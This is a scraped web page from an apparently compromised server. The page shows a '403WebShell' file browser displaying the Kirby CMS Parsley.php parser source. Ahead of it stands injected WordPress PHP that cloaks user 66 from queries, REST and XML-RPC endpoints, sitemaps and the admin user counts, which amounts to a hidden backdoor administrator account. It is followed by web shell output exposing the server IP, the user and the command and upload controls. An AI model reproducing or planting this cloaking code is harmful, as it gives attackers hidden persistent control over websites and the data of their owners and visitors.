add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/zukuenfte.net/kirby/src/Parsley/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/zukuenfte.net/kirby/src/Parsley/Parsley.php
<?php

namespace Kirby\Parsley;

use DOMDocument;
use DOMElement;
use DOMNode;
use DOMText;
use Kirby\Parsley\Schema\Plain;
use Kirby\Toolkit\Dom;

/**
 * HTML parser to extract the best possible blocks
 * from any kind of HTML document
 *
 * @since 3.5.0
 *
 * @package   Kirby Parsley
 * @author    Bastian Allgeier <bastian@getkirby.com>,
 * @link      https://getkirby.com
 * @copyright Bastian Allgeier
 * @license   https://getkirby.com/license
 */
class Parsley
{
	protected array $blocks = [];
	protected DOMDocument $doc;
	protected Dom $dom;
	protected array $inline = [];
	protected array $marks = [];
	protected array $nodes = [];
	protected Schema $schema;
	protected array $skip = [];

	public static bool $useXmlExtension = true;

	public function __construct(string $html, Schema|null $schema = null)
	{
		// fail gracefully if the XML extension is not installed
		// or should be skipped
		if ($this->useXmlExtension() === false) {
			$this->blocks[] = [
				'type'    => 'markdown',
				'content' => ['text' => $html]
			];
			return;
		}

		if (!preg_match('/<body|head*.?>/', $html)) {
			$html = '<div>' . $html . '</div>';
		}

		$this->dom    = new Dom($html);
		$this->doc    = $this->dom->document();
		$this->schema = $schema ?? new Plain();
		$this->skip   = $this->schema->skip();
		$this->marks  = $this->schema->marks();
		$this->inline = [];

		// load all allowed nodes from the schema
		$this->createNodeRules($this->schema->nodes());

		// start parsing at the top level and go through
		// all children of the document
		foreach ($this->doc->childNodes as $childNode) {
			$this->parseNode($childNode);
		}

		// needs to be called at last to fetch remaining
		// inline elements after parsing has ended
		$this->endInlineBlock();
	}

	/**
	 * Returns all detected blocks
	 */
	public function blocks(): array
	{
		return $this->blocks;
	}

	/**
	 * Load all node rules from the schema
	 */
	public function createNodeRules(array $nodes): array
	{
		foreach ($nodes as $node) {
			$this->nodes[$node['tag']] = $node;
		}

		return $this->nodes;
	}

	/**
	 * Checks if the given element contains
	 * any other block level elements
	 */
	public function containsBlock(DOMNode $element): bool
	{
		if ($element->hasChildNodes() === false) {
			return false;
		}

		foreach ($element->childNodes as $childNode) {
			if (
				$this->isBlock($childNode) === true ||
				$this->containsBlock($childNode)
			) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Takes all inline elements in the inline cache
	 * and combines them in a final block. The block
	 * will either be merged with the previous block
	 * if the type matches, or will be appended.
	 *
	 * The inline cache will be reset afterwards
	 */
	public function endInlineBlock(): void
	{
		if (empty($this->inline) === true) {
			return;
		}

		$html = [];

		foreach ($this->inline as $inline) {
			$node   = new Inline($inline, $this->marks);
			$html[] = $node->innerHTML();
		}

		$innerHTML = implode(' ', $html);

		if ($fallback = $this->fallback($innerHTML)) {
			$this->mergeOrAppend($fallback);
		}

		$this->inline = [];
	}

	/**
	 * Creates a fallback block type for the given
	 * element. The element can either be a element object
	 * or a simple HTML/plain text string
	 */
	public function fallback(Element|string $element): array|null
	{
		if ($fallback = $this->schema->fallback($element)) {
			return $fallback;
		}

		return null;
	}

	/**
	 * Checks if the given DOMNode is a block element
	 */
	public function isBlock(DOMNode $element): bool
	{
		if ($element instanceof DOMElement) {
			return array_key_exists($element->tagName, $this->nodes) === true;
		}

		return false;
	}

	/**
	 * Checks if the given DOMNode is an inline element
	 */
	public function isInline(DOMNode $element): bool
	{
		if ($element instanceof DOMText) {
			return true;
		}

		if ($element instanceof DOMElement) {
			// all spans will be treated as inline elements
			if ($element->tagName === 'span') {
				return true;
			}

			if ($this->containsBlock($element) === true) {
				return false;
			}

			if ($element->tagName === 'p') {
				return false;
			}

			$marks = array_column($this->marks, 'tag');
			return in_array($element->tagName, $marks);
		}

		return false;
	}

	public function mergeOrAppend(array $block): void
	{
		$lastIndex = count($this->blocks) - 1;
		$lastItem  = $this->blocks[$lastIndex] ?? null;

		// merge with previous block
		if (
			$block['type'] === 'text' &&
			$lastItem &&
			$lastItem['type'] === 'text'
		) {
			$this->blocks[$lastIndex]['content']['text'] .= ' ' . $block['content']['text'];

			// append
		} else {
			$this->blocks[] = $block;
		}
	}

	/**
	 * Parses the given DOM node and tries to
	 * convert it to a block or a list of blocks
	 */
	public function parseNode(DOMNode $element): bool
	{
		$skip = ['DOMComment', 'DOMDocumentType'];

		// unwanted element types
		if (in_array(get_class($element), $skip) === true) {
			return false;
		}

		// inline context
		if ($this->isInline($element) === true) {
			$this->inline[] = $element;
			return true;
		}

		$this->endInlineBlock();

		// known block nodes
		if ($this->isBlock($element) === true) {
			/**
			 * @var DOMElement $element
			 */
			if ($parser = ($this->nodes[$element->tagName]['parse'] ?? null)) {
				if ($result = $parser(new Element($element, $this->marks))) {
					$this->blocks[] = $result;
				}
			}
			return true;
		}

		// has only unknown children (div, etc.)
		if ($this->containsBlock($element) === false) {
			/**
			 * @var DOMElement $element
			 */
			if (in_array($element->tagName, $this->skip) === true) {
				return false;
			}

			$wrappers = [
				'body',
				'head',
				'html',
			];

			// wrapper elements should never be converted
			// to a simple fallback block. Their children
			// have to be parsed individually.
			if (in_array($element->tagName, $wrappers) === false) {
				$node = new Element($element, $this->marks);

				if ($block = $this->fallback($node)) {
					$this->mergeOrAppend($block);
				}

				return true;
			}
		}

		// parse all children
		foreach ($element->childNodes as $childNode) {
			$this->parseNode($childNode);
		}

		return true;
	}

	public function useXmlExtension(): bool
	{
		if (static::$useXmlExtension !== true) {
			return false;
		}

		return Dom::isSupported();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit